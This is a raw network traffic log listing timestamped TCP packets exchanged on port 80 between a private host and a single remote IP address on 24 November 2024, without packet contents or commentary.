Nov 24, 2024 12:24:15.591150045 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.591945887 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.592052937 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.592094898 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.592844963 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.592895985 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.592963934 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.593003988 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.593753099 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.593795061 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.593962908 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.593998909 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.594603062 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.598411083 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.748426914 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.748569965 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.748639107 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.748671055 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.748682976 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.748720884 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.749764919 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.749821901 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.749881983 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.749938965 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.750574112 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.750638008 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.750682116 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.751482010 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.751528978 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.751602888 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.751647949 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.752329111 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.752388000 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.752408981 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.752454042 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.753232002 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.753287077 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.753330946 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.753370047 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.754184008 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.754292965 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.754332066 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.755125046 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.755179882 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.755187988 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.756007910 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.756057024 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.756109953 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.756896973 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.756953001 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.757006884 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.757807970 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.757855892 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.757917881 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.758419991 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.758728981 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.758845091 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.758878946 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.759635925 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.759746075 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.759815931 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.760536909 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.760596037 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.760673046 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.760795116 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.761486053 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.761545897 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.761615038 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.761693954 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.762393951 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.762456894 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.762481928 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.762516022 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.763298988 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.763432980 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.763478041 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.764209986 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.764331102 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.764377117 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.765109062 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.765147924 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.765256882 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.766051054 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.766159058 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.766205072 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.766242981 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.766983986 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.767165899 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.767222881 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.767874956 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.768016100 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.768064022 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.768784046 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.768925905 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.768971920 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.769737959 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.769783020 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.769841909 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.770631075 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.770678997 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.770737886 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.771553993 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.771600962 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.771661997 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.771703005 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.772442102 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.772502899 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.772627115 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.772676945 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.773370981 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.773416042 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.773488998 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.773529053 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.774291039 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.774342060 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.774408102 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.774451017 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.775190115 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.775234938 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.775284052 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.775329113 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.776127100 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.776170969 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.776230097 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.776273966 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.777031898 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.777074099 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.777134895 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.777180910 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.777952909 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.777996063 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.778054953 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.778101921 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.778886080 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.778927088 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.778997898 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.779045105 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.779795885 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.779855967 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.779926062 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.779968977 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.780690908 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.780735970 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.780847073 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.780889034 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.781608105 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.781651974 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.781713009 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.781755924 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.782550097 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.782593012 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.782646894 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.782690048 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.783428907 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.783473015 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.783584118 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.783626080 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.784379005 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.784421921 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.784491062 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.784538984 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.785353899 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.785398006 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.785506010 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.785548925 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.786194086 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.786237955 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.786300898 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.786341906 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.787126064 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.787164927 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.787173986 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.787214994 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.788024902 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.788105011 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.788136959 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.788178921 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.788945913 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.788994074 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.789052010 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.789096117 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.789870024 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.789932966 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.789971113 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.790014029 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.790755033 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.790800095 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.790874958 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.790919065 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.791682005 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.791731119 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.791793108 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.791836977 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.792607069 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.792654991 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.792721033 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.792763948 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.793519974 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.793564081 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.793633938 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.793677092 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.794542074 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.794586897 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.794647932 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.794707060 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.795361042 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.795403004 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.795466900 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.795511007 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.796230078 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.796272993 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.949485064 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.949599981 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.949608088 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.949681997 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.949919939 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.949992895 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.950014114 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.950069904 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.950845957 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.950910091 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.950930119 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.950990915 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.951807976 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.951849937 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.951885939 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.951935053 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.952671051 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.952717066 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.952779055 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.952816963 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.953613997 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.953655005 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.953677893 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.953721046 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.954526901 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.954569101 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.954641104 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.954687119 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.955437899 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.955482960 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.955543995 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.955586910 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.956327915 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.956370115 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.956442118 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.956485033 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.957236052 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.957279921 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.957384109 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.957426071 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.958154917 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.958197117 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.958246946 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.958288908 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.959090948 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.959132910 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.959197998 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.959239960 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.960028887 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.960074902 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.960128069 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.960179090 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.960911036 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.960956097 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.960974932 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.961018085 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.961859941 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.961905003 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.962043047 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.962084055 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.962762117 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.962805033 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.962867975 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.962903976 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.963653088 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.963694096 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.963761091 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.963804007 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.964598894 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.964639902 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.964953899 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.964998007 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.965521097 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.965563059 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.965636015 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.965677023 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.966464043 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.966506958 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.967041969 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.967087030 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.967592955 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.967633963 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.967740059 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.967782021 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.968626022 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.968671083 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.968705893 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.968748093 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.969391108 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.969432116 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.969454050 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.969490051 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.970066071 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.970109940 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.970196009 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.970238924 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.970989943 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.971031904 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.971167088 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.971209049 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.971941948 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.971983910 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.972057104 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.972096920 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.972867012 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.972909927 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.973028898 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.973071098 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.973740101 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.973782063 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.973846912 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.973889112 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.974644899 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.974693060 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.974741936 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.974782944 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.975562096 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.975605011 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.975661039 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.975701094 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.976490974 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.976532936 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.976633072 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.976675987 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.977423906 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.977467060 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.977526903 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:15.977571011 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:15.978308916 CET	80	49765	31.41.244.11	192.168.2.4
